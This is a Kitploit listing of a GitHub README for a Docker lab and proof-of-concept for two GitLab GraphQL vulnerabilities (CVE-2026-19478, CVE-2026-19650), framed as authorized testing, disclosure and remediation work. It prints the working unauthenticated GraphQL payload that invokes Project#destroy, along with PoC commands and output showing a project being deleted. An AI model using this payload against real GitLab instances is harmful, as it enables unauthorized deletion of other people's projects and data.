Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
gitlab-cve-2026-19478-lab — Reproducible A/B lab + safe PoC for GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) | Kitploit
Tools/GitHubGitHub/dinosn/gitlab-cve-2026-19478-lab
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration TestingLabs & Practice
GitHubdinosn/gitlab-cve-2026-19478-lab

gitlab-cve-2026-19478-lab

Reproducible A/B lab + safe PoC for GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)

View Repository
816 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19478 — GitLab GraphQL @gl_introduced unauthenticated arbitrary-method-invocation (validation lab + PoC)

Reproducible A/B lab and safe PoC for CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critical). An unauthenticated attacker can invoke arbitrary 0-argument Ruby methods on GraphQL-resolved domain objects — e.g. call Project#destroy to delete a public project without credentials.

Also bundles a PoC for the sibling CVE-2026-19650 (GraphQL multiplex query-swap) fixed in the same release.

For authorized security testing / education only. Everything runs against your own local containers.


1. The vulnerability

GitLab ships a GraphQL client directive @gl_introduced(version: "X.Y.Z") (forward-compatibility for rolling deploys). When a query names a field with a version newer than the running server, a tracer (Gitlab::Graphql::VersionFilter::IntroducedTracer) strips it before static validation so the query validates, then re-runs the original document at execution and lets unknown fields resolve to a fallback.

Download Tool

The bug is in the fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, pre-patch):

root@kitploit:~
def fallback_field(name:)
  GraphQL::Schema::Field.new(owner: self, name: name,
    type: GraphQL::Types::Boolean, fallback_value: nil)   # <-- no resolver
end

A GraphQL::Schema::Field with no resolver is resolved by graphql-ruby by calling object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — the respond_to?(@method_sym) → public_send branch runs before fallback_value is ever consulted, so fallback_value: nil was dead code). Therefore, under @gl_introduced, the client chooses a field name equal to any 0-arg method on the currently-resolved object, and the server invokes it.

Resolve a public project, request a "future field" named destroy → the server runs Project#destroy.

  • Impact: unauthenticated modify/delete of public projects and user data (CVSS 9.4, AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).
  • Affected: GitLab CE/EE 18.2–18.11.10, 19.0.0–19.0.7, 19.1.0–19.1.5, 19.2.0–19.2.3.
  • Fixed: 18.11.11, 19.0.8, 19.1.6, 19.2.4 (2026-08-17) — the fallback now uses an explicit Resolvers::NilResolver that returns nil and never calls a method.

Trigger constraints (learned empirically)

  1. @gl_introduced(version:) must be greater than the server version (use 99.0.0).
  2. The field name is the exact method name, verbatim (snake_case as defined in Ruby, e.g. to_param, destroy).
  3. The parent selection needs ≥1 real sibling field (e.g. id) or the filtered document is an empty selection set and GitLab returns a "Field must have selections" validation error.

2. Quick start (A/B lab: vulnerable 19.2.2 vs patched 19.2.4)

Requirements: Docker + docker compose, ~8 GB RAM free, Python 3.

root@kitploit:~
docker compose up -d            # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh                      # waits for readiness, seeds a public project + an admin token on each instance

setup.sh prints, per instance: the base URL, the seeded public project path (root/pub), and an admin PAT.


3. Run the PoC

3a. Detection (SAFE, non-destructive — default)

Uses the method-call primitive with a harmless method (to_param). No data is changed.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222     # vulnerable  -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224     # patched     -> NOT VULNERABLE

Expected:

root@kitploit:~
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE  — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.

vs. on the patched instance:

root@kitploit:~
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.

3b. Prove destructive impact (OPT-IN — deletes a throwaway project it creates itself)

Creates its own disposable public project via the REST API (needs the admin token from setup.sh), then deletes it through the unauthenticated GraphQL attack, and confirms the project is gone.

root@kitploit:~
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
    --prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root

Expected (vulnerable):

root@kitploit:~
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.

On the patched instance the same run reports the project still returns 200 OK and destroy is null.

3c. Sibling CVE-2026-19650 (multiplex query-swap) — SAFE

root@kitploit:~
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222   # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224   # NOT VULNERABLE (slots isolated)

4. Test against your own instance

Point --url at any GitLab you are authorized to test, and --project at a public project on it:

root@kitploit:~
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project

Detection is non-destructive. Do not use --prove-destroy against anything you don't own.


5. Remediation

Upgrade to 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 or later. The fix routes the fallback through Resolvers::NilResolver (returns nil, never invokes an object method). If you cannot upgrade immediately, block the @gl_introduced directive / the version-filter path at a proxy, or restrict unauthenticated GraphQL access.

6. Files

FilePurpose
docker-compose.ymlBoots vulnerable 19.2.2-ce (:8222) + patched 19.2.4-ce (:8224)
setup.shWaits for readiness, seeds root/pub public project + admin token per instance
poc_cve_2026_19478.pyDetection (safe) + optional --prove-destroy impact proof
poc_cve_2026_19650.pyMultiplex query-swap detection (safe)

7. Safety notes

  • Everything targets containers you run. The default PoC is non-destructive.
  • --prove-destroy creates and deletes its own throwaway project; it never touches root/pub or your data.
  • Reporters: hiimguardian (CVE-2026-19478), kreep (CVE-2026-19650), via GitLab HackerOne. Public technical disclosure embargoed ~90 days post-patch; this lab derives the mechanism from the public fix commits e283c6adeb3d (fallback) and d2ea4b971a98 (multiplex swap).